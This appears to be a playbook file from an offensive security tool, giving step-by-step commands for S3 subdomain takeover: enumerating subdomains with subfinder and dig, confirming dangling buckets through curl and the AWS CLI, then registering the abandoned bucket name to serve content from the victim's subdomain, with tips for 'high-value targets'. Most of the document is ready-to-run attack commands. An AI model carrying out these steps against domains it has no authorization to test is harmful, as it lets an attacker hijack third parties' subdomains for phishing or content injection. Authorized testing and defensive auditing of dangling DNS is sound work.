s3-takeover

S3 Subdomain Takeover

When a subdomain has a CNAME to an S3 hostname (e.g. assets.example.com → assets-example.s3.amazonaws.com) but the bucket no longer exists, anyone can register that bucket name and serve content from the subdomain.

1. Enumerate subdomains pointing at S3

From recon SUMMARY.md, look for any CNAME containing:

• s3.amazonaws.com
• s3-website-<region>.amazonaws.com
• s3.<region>.amazonaws.com
• s3-website.<region>.amazonaws.com
• <bucket>.s3.<region>.amazonaws.com
• CloudFront/CDN distributions backed by S3 (.cloudfront.net)

Or run direct:

# Subdomain dump
subfinder -d example.com -silent > /tmp/subs.txt

# Check CNAMEs
for s in $(cat /tmp/subs.txt); do
  cname=$(dig +short CNAME "$s" 2>/dev/null | head -1)
  if echo "$cname" | grep -qE 's3.*amazonaws|cloudfront'; then
    echo "$s -> $cname"
  fi
done > /tmp/s3-candidates.txt

2. Verify dangling

For each candidate:

# Try to GET the subdomain - look for the S3 "NoSuchBucket" error
curl -s -o /tmp/r.html "https://$SUBDOMAIN/" -w '%{http_code}\n'
grep -E 'NoSuchBucket|BucketNotFound|<Code>NoSuchBucket</Code>' /tmp/r.html

# Or query the bucket name directly
BUCKET=$(echo "$CNAME" | awk -F'.' '{print $1}')
aws s3 ls "s3://$BUCKET/" --no-sign-request 2>&1
# "NoSuchBucket" / "The specified bucket does not exist" = dangling

Decepticon helper:

s3_takeover_check("<subdomain>")

3. Claim the bucket

# In the SAME region the CNAME implies
aws s3api create-bucket \
  --bucket "$BUCKET" \
  --region us-east-1 \
  --create-bucket-configuration LocationConstraint=us-east-1
# (us-east-1 omits the LocationConstraint)

Race conditions:

• AWS sometimes blocks names of recently-deleted buckets (cooldown). If it errors with "BucketAlreadyExists" or "Bucket name reserved", the takeover window has closed (or is gated).
• For high-value targets, attempt in different regions — some CNAMEs don't specify region and AWS DNS resolves to whichever region you create the bucket in.